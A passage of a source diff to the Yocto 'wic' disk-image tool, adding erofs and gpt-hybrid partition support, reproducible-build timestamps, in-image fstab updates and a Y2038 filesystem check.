@@ -35,6 +36,7 @@ NATIVE_RECIPES = {"bmaptool": "bmap-tools",
"mkdosfs": "dosfstools",
"mkisofs": "cdrtools",
"mkfs.btrfs": "btrfs-tools",
+ "mkfs.erofs": "erofs-utils",
"mkfs.ext2": "e2fsprogs",
"mkfs.ext3": "e2fsprogs",
"mkfs.ext4": "e2fsprogs",
@@ -121,7 +123,7 @@ def find_executable(cmd, paths):
if provided and "%s-native" % recipe in provided:
return True
- return spawn.find_executable(cmd, paths)
+ return shutil.which(cmd, path=paths)
def exec_native_cmd(cmd_and_args, native_sysroot, pseudo=""):
"""
@@ -138,8 +140,13 @@ def exec_native_cmd(cmd_and_args, native_sysroot, pseudo=""):
if pseudo:
cmd_and_args = pseudo + cmd_and_args
- native_paths = "%s/sbin:%s/usr/sbin:%s/usr/bin" % \
- (native_sysroot, native_sysroot, native_sysroot)
+ hosttools_dir = get_bitbake_var("HOSTTOOLS_DIR")
+ target_sys = get_bitbake_var("TARGET_SYS")
+
+ native_paths = "%s/sbin:%s/usr/sbin:%s/usr/bin:%s/usr/bin/%s:%s/bin:%s" % \
+ (native_sysroot, native_sysroot,
+ native_sysroot, native_sysroot, target_sys,
+ native_sysroot, hosttools_dir)
native_cmd_and_args = "export PATH=%s:$PATH;%s" % \
(native_paths, cmd_and_args)
diff --git a/scripts/lib/wic/partition.py b/scripts/lib/wic/partition.py
index 85eb15c8b8..795707ec5d 100644
--- a/scripts/lib/wic/partition.py
+++ b/scripts/lib/wic/partition.py
@@ -33,6 +33,7 @@ class Partition():
self.include_path = args.include_path
self.change_directory = args.change_directory
self.fsopts = args.fsopts
+ self.fspassno = args.fspassno
self.fstype = args.fstype
self.label = args.label
self.use_label = args.use_label
@@ -54,6 +55,12 @@ class Partition():
self.uuid = args.uuid
self.fsuuid = args.fsuuid
self.type = args.type
+ self.no_fstab_update = args.no_fstab_update
+ self.updated_fstab_path = None
+ self.has_fstab = False
+ self.update_fstab_in_rootfs = False
+ self.hidden = args.hidden
+ self.mbr = args.mbr
self.lineno = lineno
self.source_file = ""
@@ -101,7 +108,7 @@ class Partition():
extra_blocks = self.extra_space
rootfs_size = actual_rootfs_size + extra_blocks
- rootfs_size *= self.overhead_factor
+ rootfs_size = int(rootfs_size * self.overhead_factor)
logger.debug("Added %d extra blocks to %s to get to %d total blocks",
extra_blocks, self.mountpoint, rootfs_size)
@@ -118,12 +125,18 @@ class Partition():
return self.fixed_size if self.fixed_size else self.size
def prepare(self, creator, cr_workdir, oe_builddir, rootfs_dir,
- bootimg_dir, kernel_dir, native_sysroot):
+ bootimg_dir, kernel_dir, native_sysroot, updated_fstab_path):
"""
Prepare content for individual partitions, depending on
partition command parameters.
"""
+ self.updated_fstab_path = updated_fstab_path
+ if self.updated_fstab_path and not (self.fstype.startswith("ext") or self.fstype == "msdos"):
+ self.update_fstab_in_rootfs = True
+
if not self.source:
+ if self.fstype == "none" or self.no_table:
+ return
if not self.size and not self.fixed_size:
raise WicError("The %s partition has a size of zero. Please "
"specify a non-zero --size/--fixed-size for that "
@@ -134,9 +147,9 @@ class Partition():
native_sysroot)
self.source_file = "%s/fs.%s" % (cr_workdir, self.fstype)
else:
- if self.fstype == 'squashfs':
- raise WicError("It's not possible to create empty squashfs "
- "partition '%s'" % (self.mountpoint))
+ if self.fstype in ('squashfs', 'erofs'):
+ raise WicError("It's not possible to create empty %s "
+ "partition '%s'" % (self.fstype, self.mountpoint))
rootfs = "%s/fs_%s.%s.%s" % (cr_workdir, self.label,
self.lineno, self.fstype)
@@ -163,7 +176,7 @@ class Partition():
# Split sourceparams string of the form key1=val1[,key2=val2,...]
# into a dict. Also accepts valueless keys i.e. without =
splitted = self.sourceparams.split(',')
- srcparams_dict = dict(par.split('=', 1) for par in splitted if par)
+ srcparams_dict = dict((par.split('=', 1) + [None])[:2] for par in splitted if par)
plugin = PluginMgr.get_plugins('source')[self.source]
plugin.do_configure_partition(self, srcparams_dict, creator,
@@ -199,21 +212,33 @@ class Partition():
Currently handles ext2/3/4, btrfs, vfat and squashfs.
"""
+
+ rootfs = "%s/rootfs_%s.%s.%s" % (cr_workdir, self.label,
+ self.lineno, self.fstype)
+ if os.path.isfile(rootfs):
+ os.remove(rootfs)
+
p_prefix = os.environ.get("PSEUDO_PREFIX", "%s/usr" % native_sysroot)
if (pseudo_dir):
+ # Canonicalize the ignore paths. This corresponds to
+ # calling oe.path.canonicalize(), which is used in bitbake.conf.
+ ignore_paths = [rootfs] + (get_bitbake_var("PSEUDO_IGNORE_PATHS") or "").split(",")
+ canonical_paths = []
+ for path in ignore_paths:
+ if "$" not in path:
+ trailing_slash = path.endswith("/") and "/" or ""
+ canonical_paths.append(os.path.realpath(path) + trailing_slash)
+ ignore_paths = ",".join(canonical_paths)
+
pseudo = "export PSEUDO_PREFIX=%s;" % p_prefix
pseudo += "export PSEUDO_LOCALSTATEDIR=%s;" % pseudo_dir
pseudo += "export PSEUDO_PASSWD=%s;" % rootfs_dir
pseudo += "export PSEUDO_NOSYMLINKEXP=1;"
+ pseudo += "export PSEUDO_IGNORE_PATHS=%s;" % ignore_paths
pseudo += "%s " % get_bitbake_var("FAKEROOTCMD")
else:
pseudo = None
- rootfs = "%s/rootfs_%s.%s.%s" % (cr_workdir, self.label,
- self.lineno, self.fstype)
- if os.path.isfile(rootfs):
- os.remove(rootfs)
-
if not self.size and real_rootfs:
# The rootfs size is not set in .ks file so try to get it
# from bitbake variable
@@ -235,7 +260,7 @@ class Partition():
prefix = "ext" if self.fstype.startswith("ext") else self.fstype
method = getattr(self, "prepare_rootfs_" + prefix)
- method(rootfs, oe_builddir, rootfs_dir, native_sysroot, pseudo)
+ method(rootfs, cr_workdir, oe_builddir, rootfs_dir, native_sysroot, pseudo)
self.source_file = rootfs
# get the rootfs size in the right units for kickstart (kB)
@@ -243,7 +268,7 @@ class Partition():
out = exec_cmd(du_cmd)
self.size = int(out.split()[0])
- def prepare_rootfs_ext(self, rootfs, oe_builddir, rootfs_dir,
+ def prepare_rootfs_ext(self, rootfs, cr_workdir, oe_builddir, rootfs_dir,
native_sysroot, pseudo):
"""
Prepare content for an ext2/3/4 rootfs partition.
@@ -259,6 +284,20 @@ class Partition():
extraopts = self.mkfs_extraopts or "-F -i 8192"
+ if os.getenv('SOURCE_DATE_EPOCH'):
+ sde_time = int(os.getenv('SOURCE_DATE_EPOCH'))
+ if pseudo:
+ pseudo = "export E2FSPROGS_FAKE_TIME=%s;%s " % (sde_time, pseudo)
+ else:
+ pseudo = "export E2FSPROGS_FAKE_TIME=%s; " % sde_time
+
+ # Set hash_seed to generate deterministic directory indexes
+ namespace = uuid.UUID("e7429877-e7b3-4a68-a5c9-2f2fdf33d460")
+ if self.fsuuid:
+ namespace = uuid.UUID(self.fsuuid)
+ hash_seed = str(uuid.uuid5(namespace, str(sde_time)))
+ extraopts += " -E hash_seed=%s" % hash_seed
+
label_str = ""
if self.label:
label_str = "-L %s" % self.label
@@ -267,10 +306,45 @@ class Partition():
(self.fstype, extraopts, rootfs, label_str, self.fsuuid, rootfs_dir)
exec_native_cmd(mkfs_cmd, native_sysroot, pseudo=pseudo)
+ if self.updated_fstab_path and self.has_fstab and not self.no_fstab_update:
+ debugfs_script_path = os.path.join(cr_workdir, "debugfs_script")
+ with open(debugfs_script_path, "w") as f:
+ f.write("cd etc\n")
+ f.write("rm fstab\n")
+ f.write("write %s fstab\n" % (self.updated_fstab_path))
+ debugfs_cmd = "debugfs -w -f %s %s" % (debugfs_script_path, rootfs)
+ exec_native_cmd(debugfs_cmd, native_sysroot)
+
mkfs_cmd = "fsck.%s -pvfD %s" % (self.fstype, rootfs)
exec_native_cmd(mkfs_cmd, native_sysroot, pseudo=pseudo)
- def prepare_rootfs_btrfs(self, rootfs, oe_builddir, rootfs_dir,
+ if os.getenv('SOURCE_DATE_EPOCH'):
+ sde_time = hex(int(os.getenv('SOURCE_DATE_EPOCH')))
+ debugfs_script_path = os.path.join(cr_workdir, "debugfs_script")
+ files = []
+ for root, dirs, others in os.walk(rootfs_dir):
+ base = root.replace(rootfs_dir, "").rstrip(os.sep)
+ files += [ "/" if base == "" else base ]
+ files += [ base + "/" + n for n in dirs + others ]
+ with open(debugfs_script_path, "w") as f:
+ f.write("set_current_time %s\n" % (sde_time))
+ if self.updated_fstab_path and self.has_fstab and not self.no_fstab_update:
+ f.write("set_inode_field /etc/fstab mtime %s\n" % (sde_time))
+ f.write("set_inode_field /etc/fstab mtime_extra 0\n")
+ for file in set(files):
+ for time in ["atime", "ctime", "crtime"]:
+ f.write("set_inode_field \"%s\" %s %s\n" % (file, time, sde_time))
+ f.write("set_inode_field \"%s\" %s_extra 0\n" % (file, time))
+ for time in ["wtime", "mkfs_time", "lastcheck"]:
+ f.write("set_super_value %s %s\n" % (time, sde_time))
+ for time in ["mtime", "first_error_time", "last_error_time"]:
+ f.write("set_super_value %s 0\n" % (time))
+ debugfs_cmd = "debugfs -w -f %s %s" % (debugfs_script_path, rootfs)
+ exec_native_cmd(debugfs_cmd, native_sysroot)
+
+ self.check_for_Y2038_problem(rootfs, native_sysroot)
+
+ def prepare_rootfs_btrfs(self, rootfs, cr_workdir, oe_builddir, rootfs_dir,
native_sysroot, pseudo):
"""
Prepare content for a btrfs rootfs partition.
@@ -293,7 +367,7 @@ class Partition():
self.mkfs_extraopts, self.fsuuid, rootfs)
exec_native_cmd(mkfs_cmd, native_sysroot, pseudo=pseudo)
- def prepare_rootfs_msdos(self, rootfs, oe_builddir, rootfs_dir,
+ def prepare_rootfs_msdos(self, rootfs, cr_workdir, oe_builddir, rootfs_dir,
native_sysroot, pseudo):
"""
Prepare content for a msdos/vfat rootfs partition.
@@ -309,8 +383,6 @@ class Partition():
label_str = "-n %s" % self.label
size_str = ""
- if self.fstype == 'msdos':
- size_str = "-F 16" # FAT 16
extraopts = self.mkfs_extraopts or '-S 512'
@@ -322,12 +394,16 @@ class Partition():
mcopy_cmd = "mcopy -i %s -s %s/* ::/" % (rootfs, rootfs_dir)
exec_native_cmd(mcopy_cmd, native_sysroot)
+ if self.updated_fstab_path and self.has_fstab and not self.no_fstab_update:
+ mcopy_cmd = "mcopy -m -i %s %s ::/etc/fstab" % (rootfs, self.updated_fstab_path)
+ exec_native_cmd(mcopy_cmd, native_sysroot)
+
chmod_cmd = "chmod 644 %s" % rootfs
exec_cmd(chmod_cmd)
prepare_rootfs_vfat = prepare_rootfs_msdos
- def prepare_rootfs_squashfs(self, rootfs, oe_builddir, rootfs_dir,
+ def prepare_rootfs_squashfs(self, rootfs, cr_workdir, oe_builddir, rootfs_dir,
native_sysroot, pseudo):
"""
Prepare content for a squashfs rootfs partition.
@@ -337,6 +413,19 @@ class Partition():
(rootfs_dir, rootfs, extraopts)
exec_native_cmd(squashfs_cmd, native_sysroot, pseudo=pseudo)
+ def prepare_rootfs_erofs(self, rootfs, cr_workdir, oe_builddir, rootfs_dir,
+ native_sysroot, pseudo):
+ """
+ Prepare content for a erofs rootfs partition.
+ """
+ extraopts = self.mkfs_extraopts or ''
+ erofs_cmd = "mkfs.erofs %s -U %s %s %s" % \
+ (extraopts, self.fsuuid, rootfs, rootfs_dir)
+ exec_native_cmd(erofs_cmd, native_sysroot, pseudo=pseudo)
+
+ def prepare_empty_partition_none(self, rootfs, oe_builddir, native_sysroot):
+ pass
+
def prepare_empty_partition_ext(self, rootfs, oe_builddir,
native_sysroot):
"""
@@ -356,6 +445,8 @@ class Partition():
(self.fstype, extraopts, label_str, self.fsuuid, rootfs)
exec_native_cmd(mkfs_cmd, native_sysroot)
+ self.check_for_Y2038_problem(rootfs, native_sysroot)
+
def prepare_empty_partition_btrfs(self, rootfs, oe_builddir,
native_sysroot):
"""
@@ -386,8 +477,6 @@ class Partition():
label_str = "-n %s" % self.label
size_str = ""
- if self.fstype == 'msdos':
- size_str = "-F 16" # FAT 16
extraopts = self.mkfs_extraopts or '-S 512'
@@ -417,3 +506,37 @@ class Partition():
mkswap_cmd = "mkswap %s -U %s %s" % (label_str, self.fsuuid, path)
exec_native_cmd(mkswap_cmd, native_sysroot)
+
+ def check_for_Y2038_problem(self, rootfs, native_sysroot):
+ """
+ Check if the filesystem is affected by the Y2038 problem
+ (Y2038 problem = 32 bit time_t overflow in January 2038)
+ """
+ def get_err_str(part):
+ err = "The {} filesystem {} has no Y2038 support."
+ if part.mountpoint:
+ args = [part.fstype, "mounted at %s" % part.mountpoint]
+ elif part.label:
+ args = [part.fstype, "labeled '%s'" % part.label]
+ elif part.part_name:
+ args = [part.fstype, "in partition '%s'" % part.part_name]
+ else:
+ args = [part.fstype, "in partition %s" % part.num]
+ return err.format(*args)
+
+ # ext2 and ext3 are always affected by the Y2038 problem
+ if self.fstype in ["ext2", "ext3"]:
+ logger.warn(get_err_str(self))
+ return
+
+ ret, out = exec_native_cmd("dumpe2fs %s" % rootfs, native_sysroot)
+
+ # if ext4 is affected by the Y2038 problem depends on the inode size
+ for line in out.splitlines():
+ if line.startswith("Inode size:"):
+ size = int(line.split(":")[1].strip())
+ if size < 256:
+ logger.warn("%s Inodes (of size %d) are too small." %
+ (get_err_str(self), size))
+ break
+
diff --git a/scripts/lib/wic/pluginbase.py b/scripts/lib/wic/pluginbase.py
index d9b4e57747..b64568339b 100644
--- a/scripts/lib/wic/pluginbase.py
+++ b/scripts/lib/wic/pluginbase.py
@@ -9,9 +9,11 @@ __all__ = ['ImagerPlugin', 'SourcePlugin']
import os
import logging
+import types
from collections import defaultdict
-from importlib.machinery import SourceFileLoader
+import importlib
+import importlib.util
from wic import WicError
from wic.misc import get_bitbake_var
@@ -54,7 +56,9 @@ class PluginMgr:
mname = fname[:-3]
mpath = os.path.join(ppath, fname)
logger.debug("loading plugin module %s", mpath)
- SourceFileLoader(mname, mpath).load_module()
+ spec = importlib.util.spec_from_file_location(mname, mpath)
+ module = importlib.util.module_from_spec(spec)
+ spec.loader.exec_module(module)
return PLUGINS.get(ptype)
diff --git a/scripts/lib/wic/plugins/imager/direct.py b/scripts/lib/wic/plugins/imager/direct.py
index 2f01999405..a1d152659b 100644
--- a/scripts/lib/wic/plugins/imager/direct.py
+++ b/scripts/lib/wic/plugins/imager/direct.py
@@ -54,15 +54,16 @@ class DirectPlugin(ImagerPlugin):
self.native_sysroot = native_sysroot
self.oe_builddir = oe_builddir
+ self.debug = options.debug
self.outdir = options.outdir
self.compressor = options.compressor
self.bmap = options.bmap
self.no_fstab_update = options.no_fstab_update
- self.original_fstab = None
+ self.updated_fstab_path = None
self.name = "%s-%s" % (os.path.splitext(os.path.basename(wks_file))[0],
strftime("%Y%m%d%H%M"))
- self.workdir = tempfile.mkdtemp(dir=self.outdir, prefix='tmp.wic.')
+ self.workdir = self.setup_workdir(options.workdir)
self._image = None
self.ptable_format = self.ks.bootloader.ptable
self.parts = self.ks.partitions
@@ -76,7 +77,18 @@ class DirectPlugin(ImagerPlugin):
image_path = self._full_path(self.workdir, self.parts[0].disk, "direct")
self._image = PartitionedImage(image_path, self.ptable_format,
- self.parts, self.native_sysroot)
+ self.parts, self.native_sysroot,
+ options.extra_space)
+
+ def setup_workdir(self, workdir):
+ if workdir:
+ if os.path.exists(workdir):
+ raise WicError("Internal workdir '%s' specified in wic arguments already exists!" % (workdir))
+
+ os.makedirs(workdir)
+ return workdir
+ else:
+ return tempfile.mkdtemp(dir=self.outdir, prefix='tmp.wic.')
def do_create(self):
"""
@@ -90,11 +102,8 @@ class DirectPlugin(ImagerPlugin):
finally:
self.cleanup()
- def _write_fstab(self, image_rootfs):
- """overriden to generate fstab (temporarily) in rootfs. This is called
- from _create, make sure it doesn't get called from
- BaseImage.create()
- """
+ def update_fstab(self, image_rootfs):
+ """Assume partition order same as in wks"""
if not image_rootfs:
return
@@ -104,20 +113,11 @@ class DirectPlugin(ImagerPlugin):
with open(fstab_path) as fstab:
fstab_lines = fstab.readlines()
- self.original_fstab = fstab_lines.copy()
-
- if self._update_fstab(fstab_lines, self.parts):
- with open(fstab_path, "w") as fstab:
- fstab.writelines(fstab_lines)
- else:
- self.original_fstab = None
- def _update_fstab(self, fstab_lines, parts):
- """Assume partition order same as in wks"""
updated = False
- for part in parts:
+ for part in self.parts:
if not part.realnum or not part.mountpoint \
- or part.mountpoint == "/":
+ or part.mountpoint == "/" or not (part.mountpoint.startswith('/') or part.mountpoint == "swap"):
continue
if part.use_uuid:
@@ -138,13 +138,20 @@ class DirectPlugin(ImagerPlugin):
device_name = "/dev/%s%s%d" % (part.disk, prefix, part.realnum)
opts = part.fsopts if part.fsopts else "defaults"
+ passno = part.fspassno if part.fspassno else "0"
line = "\t".join([device_name, part.mountpoint, part.fstype,
- opts, "0", "0"]) + "\n"
+ opts, "0", passno]) + "\n"
fstab_lines.append(line)
updated = True
- return updated
+ if updated:
+ self.updated_fstab_path = os.path.join(self.workdir, "fstab")
+ with open(self.updated_fstab_path, "w") as f:
+ f.writelines(fstab_lines)
+ if os.getenv('SOURCE_DATE_EPOCH'):
+ fstab_time = int(os.getenv('SOURCE_DATE_EPOCH'))
+ os.utime(self.updated_fstab_path, (fstab_time, fstab_time))
def _full_path(self, path, name, extention):
""" Construct full file path to a file we generate. """
@@ -160,7 +167,7 @@ class DirectPlugin(ImagerPlugin):
a partitioned image.
"""
if not self.no_fstab_update:
- self._write_fstab(self.rootfs_dir.get("ROOTFS_DIR"))
+ self.update_fstab(self.rootfs_dir.get("ROOTFS_DIR"))
for part in self.parts:
# get rootfs size from bitbake variable if it's not set in .ks file
@@ -256,6 +263,8 @@ class DirectPlugin(ImagerPlugin):
if part.mountpoint == "/":
if part.uuid:
return "PARTUUID=%s" % part.uuid
+ elif part.label and self.ptable_format != 'msdos':
+ return "PARTLABEL=%s" % part.label
else:
suffix = 'p' if part.disk.startswith('mmcblk') else ''
return "/dev/%s%s%-d" % (part.disk, suffix, part.realnum)
@@ -273,14 +282,9 @@ class DirectPlugin(ImagerPlugin):
if os.path.isfile(path):
shutil.move(path, os.path.join(self.outdir, fname))
- #Restore original fstab
- if self.original_fstab:
- fstab_path = self.rootfs_dir.get("ROOTFS_DIR") + "/etc/fstab"
- with open(fstab_path, "w") as fstab:
- fstab.writelines(self.original_fstab)
-
- # remove work directory
- shutil.rmtree(self.workdir, ignore_errors=True)
+ # remove work directory when it is not in debugging mode
+ if not self.debug:
+ shutil.rmtree(self.workdir, ignore_errors=True)
# Overhead of the MBR partitioning scheme (just one sector)
MBR_OVERHEAD = 1
@@ -296,7 +300,7 @@ class PartitionedImage():
Partitioned image in a file.
"""
- def __init__(self, path, ptable_format, partitions, native_sysroot=None):
+ def __init__(self, path, ptable_format, partitions, native_sysroot=None, extra_space=0):
self.path = path # Path to the image file
self.numpart = 0 # Number of allocated partitions
self.realpart = 0 # Number of partitions in the partition table
@@ -309,7 +313,10 @@ class PartitionedImage():
# all partitions (in bytes)
self.ptable_format = ptable_format # Partition table format
# Disk system identifier
- self.identifier = random.SystemRandom().randint(1, 0xffffffff)
+ if os.getenv('SOURCE_DATE_EPOCH'):
+ self.identifier = random.Random(int(os.getenv('SOURCE_DATE_EPOCH'))).randint(1, 0xffffffff)
+ else:
+ self.identifier = random.SystemRandom().randint(1, 0xffffffff)
self.partitions = partitions
self.partimages = []
@@ -317,6 +324,7 @@ class PartitionedImage():
self.sector_size = SECTOR_SIZE
self.native_sysroot = native_sysroot
num_real_partitions = len([p for p in self.partitions if not p.no_table])
+ self.extra_space = extra_space
# calculate the real partition number, accounting for partitions not
# in the partition table and logical partitions
@@ -334,7 +342,7 @@ class PartitionedImage():
# generate parition and filesystem UUIDs
for part in self.partitions:
if not part.uuid and part.use_uuid:
- if self.ptable_format == 'gpt':
+ if self.ptable_format in ('gpt', 'gpt-hybrid'):
part.uuid = str(uuid.uuid4())
else: # msdos partition table
part.uuid = '%08x-%02d' % (self.identifier, part.realnum)
@@ -343,6 +351,13 @@ class PartitionedImage():
part.fsuuid = '0x' + str(uuid.uuid4())[:8].upper()
else:
part.fsuuid = str(uuid.uuid4())
+ else:
+ #make sure the fsuuid for vfat/msdos align with format 0xYYYYYYYY
+ if part.fstype == 'vfat' or part.fstype == 'msdos':
+ if part.fsuuid.upper().startswith("0X"):
+ part.fsuuid = '0x' + part.fsuuid.upper()[2:].rjust(8,"0")
+ else:
+ part.fsuuid = '0x' + part.fsuuid.upper().rjust(8,"0")
def prepare(self, imager):
"""Prepare an image. Call prepare method of all image partitions."""
@@ -351,7 +366,8 @@ class PartitionedImage():
# sizes before we can add them and do the layout.
part.prepare(imager, imager.workdir, imager.oe_builddir,
imager.rootfs_dir, imager.bootimg_dir,
- imager.kernel_dir, imager.native_sysroot)
+ imager.kernel_dir, imager.native_sysroot,
+ imager.updated_fstab_path)
# Converting kB to sectors for parted
part.size_sec = part.disk_size * 1024 // self.sector_size
@@ -382,6 +398,10 @@ class PartitionedImage():
raise WicError("setting custom partition type is not " \
"implemented for msdos partitions")
+ if part.mbr and self.ptable_format != 'gpt-hybrid':
+ raise WicError("Partition may only be included in MBR with " \
+ "a gpt-hybrid partition table")
+
# Get the disk where the partition is located
self.numpart += 1
if not part.no_table:
@@ -390,7 +410,7 @@ class PartitionedImage():
if self.numpart == 1:
if self.ptable_format == "msdos":
overhead = MBR_OVERHEAD
- elif self.ptable_format == "gpt":
+ elif self.ptable_format in ("gpt", "gpt-hybrid"):
overhead = GPT_OVERHEAD
# Skip one sector required for the partitioning scheme overhead
@@ -429,14 +449,14 @@ class PartitionedImage():
self.offset += align_sectors
if part.offset is not None:
- offset = (part.offset * 1024) // self.sector_size
+ offset = part.offset // self.sector_size
- if offset * self.sector_size != part.offset * 1024:
- raise WicError("Could not place %s%s at offset %dK with sector size %d" % (part.disk, self.numpart, part.offset, self.sector_size))
+ if offset * self.sector_size != part.offset:
+ raise WicError("Could not place %s%s at offset %d with sector size %d" % (part.disk, self.numpart, part.offset, self.sector_size))
delta = offset - self.offset
if delta < 0:
- raise WicError("Could not place %s%s at offset %dK: next free sector is %d (delta: %d)" % (part.disk, self.numpart, part.offset, self.offset, delta))
+ raise WicError("Could not place %s%s at offset %d: next free sector is %d (delta: %d)" % (part.disk, self.numpart, part.offset, self.offset, delta))
logger.debug("Skipping %d sectors to place %s%s at offset %dK",
delta, part.disk, self.numpart, part.offset)
@@ -474,10 +494,11 @@ class PartitionedImage():
# Once all the partitions have been layed out, we can calculate the
# minumim disk size
self.min_size = self.offset
- if self.ptable_format == "gpt":
+ if self.ptable_format in ("gpt", "gpt-hybrid"):
self.min_size += GPT_OVERHEAD
self.min_size *= self.sector_size
+ self.min_size += self.extra_space
def _create_partition(self, device, parttype, fstype, start, size):
""" Create a partition on an image described by the 'device' object. """
@@ -494,22 +515,49 @@ class PartitionedImage():
return exec_native_cmd(cmd, self.native_sysroot)
+ def _write_identifier(self, device, identifier):
+ logger.debug("Set disk identifier %x", identifier)
+ with open(device, 'r+b') as img:
+ img.seek(0x1B8)
+ img.write(identifier.to_bytes(4, 'little'))
+
+ def _make_disk(self, device, ptable_format, min_size):
+ logger.debug("Creating sparse file %s", device)
+ with open(device, 'w') as sparse:
+ os.ftruncate(sparse.fileno(), min_size)
+
+ logger.debug("Initializing partition table for %s", device)
+ exec_native_cmd("parted -s %s mklabel %s" % (device, ptable_format),
+ self.native_sysroot)
+
+ def _write_disk_guid(self):
+ if self.ptable_format in ('gpt', 'gpt-hybrid'):
+ if os.getenv('SOURCE_DATE_EPOCH'):
+ self.disk_guid = uuid.UUID(int=int(os.getenv('SOURCE_DATE_EPOCH')))
+ else:
+ self.disk_guid = uuid.uuid4()
+
+ logger.debug("Set disk guid %s", self.disk_guid)
+ sfdisk_cmd = "sfdisk --disk-id %s %s" % (self.path, self.disk_guid)
+ exec_native_cmd(sfdisk_cmd, self.native_sysroot)
+
def create(self):
- logger.debug("Creating sparse file %s", self.path)
- with open(self.path, 'w') as sparse:
- os.ftruncate(sparse.fileno(), self.min_size)
+ self._make_disk(self.path,
+ "gpt" if self.ptable_format == "gpt-hybrid" else self.ptable_format,
+ self.min_size)
- logger.debug("Initializing partition table for %s", self.path)
- exec_native_cmd("parted -s %s mklabel %s" %
- (self.path, self.ptable_format), self.native_sysroot)
+ self._write_identifier(self.path, self.identifier)
+ self._write_disk_guid()
- logger.debug("Set disk identifier %x", self.identifier)
- with open(self.path, 'r+b') as img:
- img.seek(0x1B8)
- img.write(self.identifier.to_bytes(4, 'little'))
+ if self.ptable_format == "gpt-hybrid":
+ mbr_path = self.path + ".mbr"
+ self._make_disk(mbr_path, "msdos", self.min_size)
+ self._write_identifier(mbr_path, self.identifier)
logger.debug("Creating partitions")
+ hybrid_mbr_part_num = 0
+
for part in self.partitions:
if part.num == 0:
continue
@@ -554,11 +602,19 @@ class PartitionedImage():
self._create_partition(self.path, part.type,
parted_fs_type, part.start, part.size_sec)
- if part.part_name:
+ if self.ptable_format == "gpt-hybrid" and part.mbr:
+ hybrid_mbr_part_num += 1
+ if hybrid_mbr_part_num > 4:
+ raise WicError("Extended MBR partitions are not supported in hybrid MBR")
+ self._create_partition(mbr_path, "primary",
+ parted_fs_type, part.start, part.size_sec)
+
+ if self.ptable_format in ("gpt", "gpt-hybrid") and (part.part_name or part.label):
+ partition_label = part.part_name if part.part_name else part.label
logger.debug("partition %d: set name to %s",
- part.num, part.part_name)
+ part.num, partition_label)
exec_native_cmd("sgdisk --change-name=%d:%s %s" % \
- (part.num, part.part_name,
+ (part.num, partition_label,
self.path), self.native_sysroot)
if part.part_type:
@@ -568,32 +624,55 @@ class PartitionedImage():
(part.num, part.part_type,
self.path), self.native_sysroot)
- if part.uuid and self.ptable_format == "gpt":
+ if part.uuid and self.ptable_format in ("gpt", "gpt-hybrid"):
logger.debug("partition %d: set UUID to %s",
part.num, part.uuid)
exec_native_cmd("sgdisk --partition-guid=%d:%s %s" % \
(part.num, part.uuid, self.path),
self.native_sysroot)
- if part.label and self.ptable_format == "gpt":
- logger.debug("partition %d: set name to %s",
- part.num, part.label)
- exec_native_cmd("parted -s %s name %d %s" % \
- (self.path, part.num, part.label),
- self.native_sysroot)
-
if part.active:
- flag_name = "legacy_boot" if self.ptable_format == 'gpt' else "boot"
+ flag_name = "legacy_boot" if self.ptable_format in ('gpt', 'gpt-hybrid') else "boot"
logger.debug("Set '%s' flag for partition '%s' on disk '%s'",
flag_name, part.num, self.path)
exec_native_cmd("parted -s %s set %d %s on" % \
(self.path, part.num, flag_name),
self.native_sysroot)
+ if self.ptable_format == 'gpt-hybrid' and part.mbr:
+ exec_native_cmd("parted -s %s set %d %s on" % \
+ (mbr_path, hybrid_mbr_part_num, "boot"),
+ self.native_sysroot)
if part.system_id:
exec_native_cmd("sfdisk --part-type %s %s %s" % \
(self.path, part.num, part.system_id),
self.native_sysroot)
+ if part.hidden and self.ptable_format == "gpt":
+ logger.debug("Set hidden attribute for partition '%s' on disk '%s'",
+ part.num, self.path)
+ exec_native_cmd("sfdisk --part-attrs %s %s RequiredPartition" % \
+ (self.path, part.num),
+ self.native_sysroot)
+
+ if self.ptable_format == "gpt-hybrid":
+ # Write a protective GPT partition
+ hybrid_mbr_part_num += 1
+ if hybrid_mbr_part_num > 4:
+ raise WicError("Extended MBR partitions are not supported in hybrid MBR")
+
+ # parted cannot directly create a protective GPT partition, so
+ # create with an arbitrary type, then change it to the correct type
+ # with sfdisk
+ self._create_partition(mbr_path, "primary", "fat32", 1, GPT_OVERHEAD)
+ exec_native_cmd("sfdisk --part-type %s %d 0xee" % (mbr_path, hybrid_mbr_part_num),
+ self.native_sysroot)
+
+ # Copy hybrid MBR
+ with open(mbr_path, "rb") as mbr_file:
+ with open(self.path, "r+b") as image_file:
+ mbr = mbr_file.read(512)
+ image_file.write(mbr)
+
def cleanup(self):
pass
diff --git a/scripts/lib/wic/plugins/source/bootimg-efi.py b/scripts/lib/wic/plugins/source/bootimg-efi.py
index 14c1723577..13a9cddf4e 100644
--- a/scripts/lib/wic/plugins/source/bootimg-efi.py
+++ b/scripts/lib/wic/plugins/source/bootimg-efi.py
@@ -12,6 +12,7 @@
import logging
import os
+import tempfile
import shutil
import re
@@ -34,6 +35,26 @@ class BootimgEFIPlugin(SourcePlugin):
name = 'bootimg-efi'
@classmethod
+ def _copy_additional_files(cls, hdddir, initrd, dtb):
+ bootimg_dir = get_bitbake_var("DEPLOY_DIR_IMAGE")
+ if not bootimg_dir:
+ raise WicError("Couldn't find DEPLOY_DIR_IMAGE, exiting")
+
+ if initrd:
+ initrds = initrd.split(';')
+ for rd in initrds:
+ cp_cmd = "cp %s/%s %s" % (bootimg_dir, rd, hdddir)
+ exec_cmd(cp_cmd, True)
+ else:
+ logger.debug("Ignoring missing initrd")
+
+ if dtb:
+ if ';' in dtb:
+ raise WicError("Only one DTB supported, exiting")
+ cp_cmd = "cp %s/%s %s" % (bootimg_dir, dtb, hdddir)
+ exec_cmd(cp_cmd, True)
+
+ @classmethod
def do_configure_grubefi(cls, hdddir, creator, cr_workdir, source_params):
"""
Create loader-specific (grub-efi) config
@@ -52,18 +73,9 @@ class BootimgEFIPlugin(SourcePlugin):
"get it from %s." % configfile)
initrd = source_params.get('initrd')
+ dtb = source_params.get('dtb')
- if initrd:
- bootimg_dir = get_bitbake_var("DEPLOY_DIR_IMAGE")
- if not bootimg_dir:
- raise WicError("Couldn't find DEPLOY_DIR_IMAGE, exiting")
-
- initrds = initrd.split(';')
- for rd in initrds:
- cp_cmd = "cp %s/%s %s" % (bootimg_dir, rd, hdddir)
- exec_cmd(cp_cmd, True)
- else:
- logger.debug("Ignoring missing initrd")
+ cls._copy_additional_files(hdddir, initrd, dtb)
if not custom_cfg:
# Create grub configuration using parameters from wks file
@@ -97,6 +109,9 @@ class BootimgEFIPlugin(SourcePlugin):
grubefi_conf += " /%s" % rd
